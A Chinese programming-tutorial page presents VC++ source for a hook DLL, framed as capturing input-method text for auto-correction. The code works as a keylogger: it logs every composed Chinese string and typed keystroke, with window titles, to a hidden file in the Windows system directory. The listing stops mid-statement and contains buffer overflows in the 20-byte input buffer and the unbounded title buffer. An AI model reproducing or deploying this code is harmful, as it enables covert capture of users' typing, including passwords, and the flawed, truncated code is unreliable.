当前位置:编程学习 > VC++ >>

VC++截取输入法输入信息钩子dll实现

我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下
 
 
[cpp]  
#include "windows.h"  
#include "imm.h"  
#include "stdio.h"  
  
//#define HOOK_API __declspec(dllexport)   
  
HHOOK        g_hHook            = NULL;        //hook句柄  
HINSTANCE  g_hHinstance    = NULL;        //程序句柄  
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的  
HWND         FocusWnd;         //当前窗口句柄,必须使全局的    
  
char title[256];              //获得窗口名字   
char *ftemp;                //begin/end 写到文件里面  
char temptitle[256]="<<标题:";  //<<标题:窗口名字>>  
char t[2]={0,0};              //捕获单个字母  
void writefile(char *lpstr)  
{//保存为文件  
    FILE* f1;  
    char cmd[256];  
    GetSystemDirectory(cmd,256);  
    strcat(cmd,"\\hooktxt.txt");  
    f1=fopen(cmd,"a+");  
    fwrite(lpstr,strlen(lpstr),1,f1);  
    fclose(f1);  
}  
void writtitle()  
{//保存当前窗口  
    FocusWnd = GetActiveWindow();  
    if(LastFocusWnd != FocusWnd)  
    {  
        ftemp="\n---------End----------\n";  
        writefile(ftemp);  
        ftemp="\n--------begin---------\n";  
        writefile(ftemp);  
        GetWindowText(FocusWnd, title, 256);  //当前窗口标题  
        LastFocusWnd = FocusWnd;  
        strcat(temptitle,title);  
        strcat(temptitle,">>\n");  
        writefile(temptitle);  
    }  
}  
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)  
{   
    PMSG pmsg = (PMSG)lParam;  
    if (nCode == HC_ACTION)  
    {  
        switch (pmsg->message)  
        {  
        case WM_IME_COMPOSITION:  
            {  
                HIMC hIMC;  
                HWND hWnd=pmsg->hwnd;  
                DWORD dwSize;  
                char lpstr[20];  
                if(pmsg->lParam & GCS_RESULTSTR)  
                {  
                    //先获取当前正在输入的窗口的输入法句柄  
                    hIMC = ImmGetContext(hWnd);  
                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.  
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);  
  
                    // 缓冲区大小要加上字符串的NULL结束符大小,  
                    //   考虑到UNICODE  
                    dwSize += sizeof(WCHAR);  
  
                    memset(lpstr, 0, 20);  
  
                    // 再调用一次.ImmGetCompositionString获取字符串  
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);  
                    //现在lpstr里面即是输入的汉字了。  
                    writtitle();                //保存当前窗口  
                    writefile(lpstr);           //保存为文件  
                    ImmReleaseContext(hWnd, hIMC);  
                }  
            }  
            break;  
        case WM_CHAR:  //截获发向焦点窗口的键盘消息  
            {  
                char ch,str[10];  
                ch=(char)(pmsg->wParam);  
                if (ch>=32 && ch<=126)           //可见字符  
                {   
                    writtitle();  
                    t[0]=ch;  
                    writefile(t);  
                }  
                if (ch>=8 && ch<=31)           //控制字符  
                {  
                    switch(ch)  
                    {  
                        case 8:  
                            strcpy(str,"[退格]");  
                            break;  
                        case 9:  
                            s
补充:软件开发 , Vc ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,